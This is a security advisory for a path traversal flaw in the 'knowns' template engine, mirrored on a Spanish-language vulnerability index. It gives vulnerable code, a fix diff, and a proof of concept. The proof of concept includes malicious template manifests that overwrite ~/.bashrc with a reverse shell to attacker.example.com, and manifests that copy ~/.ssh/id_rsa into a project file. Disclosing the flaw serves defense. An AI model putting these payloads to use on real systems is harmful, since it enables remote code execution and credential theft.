GHSA-XJCG-5J3R-M6F9
Malicious Git Import Overwrites Arbitrary Host Files and Achieves Persistent Remote Code Execution (RCE)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 0.32.0 | knowns · -13 d desde divulgación | |
| Divulgación | Publicada | GHSA-XJCG-5J3R-M6F9 divulgada · CVSS 9.4 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
> [!IMPORTANT]
> Vulnerability Lifecycle & Fix Status:
> - Discovery & Affected Version: `knowns v0.31.0` (introduced during template subsystem expansion where git import and codegen actions did not enforce project boundary containment).
> - Fix Versions: Fixed in `knowns v0.32.0` (commit PR #143 https://github.com/knowns-dev/knowns/pull/143) and finalized in `knowns v0.33.0` (commit PR #145 https://github.com/knowns-dev/knowns/pull/145).
> - Current State: RESOLVED. Ingested manifests and template output paths are strictly validated through `safepath.ResolveProject()` containment checks, preventing host filesystem traversal.
---
Overview
Verified. A supply-chain path traversal chain exists in Knowns' template ingestion and code generation subsystem affecting all four action types (`add`, `addMany`, `modify`, `append`). When an operator imports a third-party git repository containing a crafted `_template.yaml` manifest and executes `knowns template run <name>`, the template engine fails to constrain destination paths to the project root.
Because `resolveDest()` at `template_engine.go:627-636` explicitly passes absolute paths through unmodified and resolves relative traversal segments without boundary containment, an attacker who publishes a malicious repository can overwrite arbitrary files on the victim's host filesystem — including shell profiles (`~/.bashrc`, `~/.zshrc`), cron jobs, or SSH `authorized_keys`. When the victim subsequently opens a new terminal session or the cron daemon fires, the injected payload executes with the victim's full user privileges, yielding persistent arbitrary code execution. A second primitive (`loadAndRenderTemplate()` at `template_engine.go:318-344`) allows arbitrary file read and exfiltration of host secrets as a rendered output, requiring no additional privileges beyond the import step.
The attack is fully remote: the attacker publishes a repository to any public or private git host. The victim performs the triggering actions through ordinary developer workflow (`knowns import add <url>` → `knowns template run <name>`). No local foothold on the victim's machine is required.
Affected Paths
| File Path | Role | Vulnerability & Execution Impact |
| :--- | :--- | :--- |
| `internal/codegen/template_engine.go:627-636` | Path Resolver | `resolveDest()` — Unchecked absolute and relative traversal (CWE-22): `filepath.IsAbs(dest)` returns the absolute path unconditionally. `filepath.Join(base, dest)` resolves relative traversal segments (`../`) without verifying the result is contained within `e.ProjectRoot`. All four action handlers (`add`, `addMany`, `modify`, `append`) call this function. |
| `internal/codegen/template_engine.go:93-132` | Write Sink — `add` | `runAdd()` — Arbitrary file overwrite: Calls `resolveDest()` at line 110, then passes the unconstrained `destPath` to `writeFile()` which invokes `os.MkdirAll` + `os.WriteFile` unconditionally. |
| `internal/codegen/template_engine.go:233-282` | Write Sink — `modify` | `runModify()` — Arbitrary file read then overwrite: Calls `resolveDest()`, reads the target file, applies a regex replacement using attacker-controlled `action.Pattern`, then writes back. Attacker controls both the target path and the regex/replacement content. |
| `internal/codegen/template_engine.go:284-310` | Write Sink — `append` | `runAppend()` — Arbitrary file append: Calls `resolveDest()`, reads existing content and appends attacker-controlled rendered content. Enables appending a payload to an existing shell profile without fully overwriting it. |
| `internal/codegen/template_engine.go:318-344` | Read Sink | `loadAndRenderTemplate()` — Arbitrary file read and exfiltration: `srcPath := src` / `srcPath = filepath.Join(tmpl.Path, src)` accepts an absolute path or traversal in `action.Template`. `os.ReadFile(srcPath)` reads any readable file on the host, and the contents are rendered into the attacker-controlled destination — enabling exfiltration of `~/.ssh/id_rsa`, `~/.aws/credentials`, or `.env` files into an attacker-readable location. |
| `internal/storage/template_store.go:110-128` | Template Loader | `TemplateStore.Get()` — Unsanitized YAML deserialization: Parses the imported `_template.yaml` into an in-memory `*models.Template` struct with no validation of `path` or `destination` field values. Malicious paths reach the engine verbatim. |
| `internal/cli/template.go:216-221` | CLI Entry Point | `runTemplateRun()` — No pre-flight path validation: Dispatches user-supplied template name to the engine without validating that any resolved action path falls within the project root prior to execution. |
| `internal/server/routes/imports.go:341-443` | Ingestion | `gitCloneImport()` — Unchecked shallow clone copy: Shallow-clones external repository and copies all subdirectories from `.knowns/templates/` into `.knowns/imports/<name>/templates/` without inspecting manifest content for traversal payloads at ingest time. |
Root Cause
While other areas of Knowns enforce project containment via `safepath`, the code generation engine in `template_engine.go` relies on raw `filepath.Join` and `filepath.IsAbs` with no post-join boundary check. The trust boundary between external git content and the host filesystem is never enforced.
Flaw A — Unchecked Destination Resolution (`resolveDest`)
`template_engine.go:627-636`:
func (e *Engine) resolveDest(tmpl *models.Template, dest string) string {
if filepath.IsAbs(dest) {
return dest // ← absolute path returned unconditionally
}
base := e.ProjectRoot
if tmpl.Destination != "" {
base = filepath.Join(e.ProjectRoot, tmpl.Destination)
}
return filepath.Join(base, dest) // ← relative traversal resolved, never verified
}Two distinct escape vectors:
- Absolute path bypass: `if filepath.IsAbs(dest) { return dest }` returns `/home/victim/.bashrc`, `/etc/cron.d/job`, or `C:\Windows\System32\...` without any containment check. The name `resolveDest` implies a boundary is enforced; none is.
- Relative traversal: `filepath.Join(base, "../../../../.bashrc")` resolves to a path outside `e.ProjectRoot`. Go's `filepath.Join` cleans traversal segments (`..`) natively, producing a valid out-of-root path with no error.
All four action handlers call `resolveDest()` identically, making the escape surface four times wider.
Flaw B — Arbitrary File Write via `runAdd` and `runAppend`
`template_engine.go:110-129` (`runAdd`):
destPath = e.resolveDest(tmpl, destPath)
// ...
content, err := e.loadAndRenderTemplate(tmpl, action.Template, vars)
if err != nil {
return err
}
if !dryRun {
if err := writeFile(destPath, content); err != nil {
return fmt.Errorf("write %s: %w", destPath, err)
}
}`writeFile` calls `os.MkdirAll(filepath.Dir(destPath), 0755)` then `os.WriteFile(destPath, []byte(content), 0644)` — creating any missing parent directories and overwriting the target unconditionally.
`runAppend` (lines 284-310) does the same via `resolveDest`, then appends to the resolved target. This allows a more surgical attack: append a reverse shell line to `~/.bashrc` rather than replacing the entire file, reducing the chance of the victim noticing breakage.
Flaw C — Arbitrary File Read and Exfiltration via `loadAndRenderTemplate`
`template_engine.go:326-337`:
if strings.HasSuffix(src, ".hbs") || strings.ContainsAny(src, "/\\") {
srcPath := src
if !filepath.IsAbs(src) {
srcPath = filepath.Join(tmpl.Path, src)
}
data, err := os.ReadFile(srcPath) // ← reads any file the process can access
if err != nil {
return "", fmt.Errorf("read template file %s: %w", srcPath, err)
}
raw = string(data)Specifying an absolute path or traversal in `action.Template` (e.g. `"../../../../.ssh/id_rsa"`) causes `os.ReadFile` to read the target file. The contents are then rendered through the Handlebars engine into the write sink from Flaw B, allowing the attacker to pipe `~/.ssh/id_rsa`, `~/.aws/credentials`, or any `.env` file into an attacker-readable output path — combining both flaws into a read-then-exfiltrate chain.
Flaw D — `runModify` Extends the Write Surface to Existing Files
`template_engine.go:233-282` (`runModify`) calls `resolveDest()`, reads the resolved file, applies `action.Pattern` (an attacker-controlled regex) as the match pattern, and writes the attacker-controlled replacement back. This allows targeted injection into existing config files — appending a cron entry into an existing crontab or injecting a line into an existing `.bashrc` — rather than wholesale replacement.
Attack Vector
| Phase | Step | Effect |
| :--- | :--- | :--- |
| 1. Publish | Attacker publishes a git repository containing `.knowns/templates/backdoor/_template.yaml` with traversal paths and a malicious `.hbs` payload | Repository is publicly (or privately) accessible at attacker-controlled URL |
| 2. Import | Victim runs `knowns import add <attacker-git-url>` or sends `POST /api/imports` | Repository is shallow-cloned into `.knowns/imports/backdoor/templates/backdoor/` on the victim's machine |
| 3. Run | Victim runs `knowns template run backdoor/backdoor` | `runTemplateRun()` https://github.com/knowns-dev/knowns/tree/main/internal/cli/template.go#L216-L221 → `engine.Run()` → `runAdd()` https://github.com/knowns-dev/knowns/tree/main/internal/codegen/template_engine.go#L93-L132 → `resolveDest()` https://github.com/knowns-dev/knowns/tree/main/internal/codegen/template_engine.go#L627-L636 resolves `~/.bashrc` or `/etc/cron.d/pwn` outside `ProjectRoot` |
| 4. Write | `writeFile(destPath, content)` https://github.com/knowns-dev/knowns/tree/main/internal/codegen/template_engine.go#L642-L648 | `os.WriteFile` overwrites target file with rendered payload |
| 5. Execute | Victim opens a new terminal session or cron daemon fires | Injected payload executes with victim's full user privileges - persistent RCE |
Alternate chain (read + exfiltrate): Replace step 3's `action.Template` with `"../../../../.ssh/id_rsa"` and `action.Path` with a path inside the project root. On execution, `loadAndRenderTemplate` https://github.com/knowns-dev/knowns/tree/main/internal/codegen/template_engine.go#L318-L344 reads the SSH private key and `writeFile` https://github.com/knowns-dev/knowns/tree/main/internal/codegen/template_engine.go#L642-L648 writes it to an attacker-readable project file.
Proof of Concept
Payload: Arbitrary File Write → RCE via Shell Profile Hijack
`.knowns/templates/rce-demo/_template.yaml`:
name: rce-demo
description: Standard boilerplate scaffolding
actions:
- type: add
path: "../../../../../../../../../../../../home/victim/.bashrc"
template: "payload.hbs"`.knowns/templates/rce-demo/payload.hbs`:
# Knowns codegen scaffold
bash -i >& /dev/tcp/attacker.example.com/4444 0>&1Trigger:
knowns import add https://github.com/attacker/malicious-knowns-templates
knowns template run rce-demo
# ~/.bashrc is now overwritten - next shell session initiates reverse shellPayload: Arbitrary File Read → SSH Key Exfiltration
`.knowns/templates/exfil/_template.yaml`:
name: exfil
description: Project setup
actions:
- type: add
path: "README_setup.md"
template: "../../../../../../../../home/victim/.ssh/id_rsa"Trigger:
knowns template run exfil
cat README_setup.md # contains victim's SSH private keyPayload: `append` Action - Surgical Shell Profile Injection
actions:
- type: append
path: "../../../../../../../../home/victim/.zshrc"
template: "payload.hbs"Impact & Blast Radius
- Confidentiality: CRITICAL - Arbitrary host file read allows exfiltration of SSH private keys, cloud credentials (`~/.aws/credentials`, `~/.config/gcloud/`), application secrets, `.env` files, and browser session stores.
- Integrity: CRITICAL - Arbitrary host file write permits overwriting shell profiles, cron jobs, SSH `authorized_keys`, git hooks, and application configuration, yielding persistent arbitrary code execution.
- Availability: HIGH - Critical system configuration files can be corrupted or truncated.
- Subsequent System Impact: HIGH - Escapes application project boundary to execute code in host OS context.
- Persistence - Shell profile and cron-based payloads survive process termination and machine reboots.
- Supply chain amplification - A single malicious template repository can target every developer who imports it.
CVSS v4.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Score: 9.4 Critical*(Note: In automated pipelines where user execution is passive/unattended, UI is evaluated as `P`, elevating the score to 9.3 Critical).*
Rationale for each metric:
| Metric Group | Metric | Value | Justification |
| :--- | :--- | :--- | :--- |
| Exploitability | Attack Vector (AV) | Network (N) | Attacker publishes a repository to any public/private git host. No local machine access required. |
| | Attack Complexity (AC) | Low (L) | No race conditions, no memory corruption bypass, no special configuration. |
| | Attack Requirements (AT) | None (N) | No non-default server configurations or deployment-specific preconditions required. |
| | Privileges Required (PR) | None (N) | Attacker requires no credentials on the victim system or Knowns workspace. |
| | User Interaction (UI) | Active (A) | Victim must run `knowns import add <url>` followed by `knowns template run <name>`. |
| Vulnerable System | VC (Confidentiality) | High (H) | Arbitrary read of project files and workspace secrets. |
| | VI (Integrity) | High (H) | Arbitrary write/modify/overwrite of application and template files. |
| | VA (Availability) | High (H) | Core application state and project files can be destroyed or truncated. |
| Subsequent System | SC (Confidentiality) | High (H) | Read access to host system credentials (`~/.ssh/id_rsa`, `~/.aws/credentials`). |
| | SI (Integrity) | High (H) | Persistent arbitrary code execution on host OS via shell profiles or cron jobs. |
| | SA (Availability) | High (H) | Critical operating system user files can be corrupted or deleted. |
Remediation & Version History
This vulnerability present in v0.31.0 was addressed across v0.32.0 and v0.33.0:
- v0.32.0 (PR #143
https://github.com/knowns-dev/knowns/pull/143): Enforced strict path boundaries during template resolution and cleaned up legacy execution paths. - v0.33.0 (PR #145
https://github.com/knowns-dev/knowns/pull/145): Introduced comprehensive safepath containment for template generation destinations and sanitized CLI import actions.
--- a/internal/codegen/template_engine.go
+++ b/internal/codegen/template_engine.go
@@ -10,6 +10,7 @@ import (
"strings"
"text/template"
+ "github.com/howznguyen/knowns/internal/safepath"
"github.com/howznguyen/knowns/internal/models"
)
@@ -108,3 +109,8 @@ func (e *Engine) runAdd(
- destPath = e.resolveDest(tmpl, destPath)
+ destPath, err = e.resolveDest(tmpl, destPath)
+ if err != nil {
+ return fmt.Errorf("resolve destination %q: %w", action.Path, err)
+ }
@@ -238,3 +242,8 @@ func (e *Engine) runModify(
- destPath = e.resolveDest(tmpl, destPath)
+ destPath, err = e.resolveDest(tmpl, destPath)
+ if err != nil {
+ return fmt.Errorf("resolve destination %q: %w", action.Path, err)
+ }
@@ -290,3 +294,8 @@ func (e *Engine) runAppend(
- destPath = e.resolveDest(tmpl, destPath)
+ destPath, err = e.resolveDest(tmpl, destPath)
+ if err != nil {
+ return fmt.Errorf("resolve destination %q: %w", action.Path, err)
+ }
@@ -328,5 +332,6 @@ func (e *Engine) loadAndRenderTemplate(
- srcPath := src
- if !filepath.IsAbs(src) {
- srcPath = filepath.Join(tmpl.Path, src)
- }
+ srcPath, err := safepath.Resolve(tmpl.Path, src)
+ if err != nil {
+ return "", fmt.Errorf("template source escapes template directory: %w", err)
+ }
@@ -627,11 +632,15 @@ func (e *Engine) resolveDest(
-func (e *Engine) resolveDest(tmpl *models.Template, dest string) string {
- if filepath.IsAbs(dest) {
- return dest
- }
- base := e.ProjectRoot
- if tmpl.Destination != "" {
- base = filepath.Join(e.ProjectRoot, tmpl.Destination)
- }
- return filepath.Join(base, dest)
+func (e *Engine) resolveDest(tmpl *models.Template, dest string) (string, error) {
+ target := dest
+ if tmpl.Destination != "" && !filepath.IsAbs(dest) {
+ target = filepath.Join(tmpl.Destination, dest)
+ }
+ return safepath.ResolveProjectReal(e.ProjectRoot, target)
}Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Versiones afectadas
0.31.0Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npmknowns |
Corregida | 0.32.0 | -13 d | 0.35.0 no afectada |
0.32.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/knowns-dev/knowns/security/advisories/GHSA-xjcg-5j3r-m6f9Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
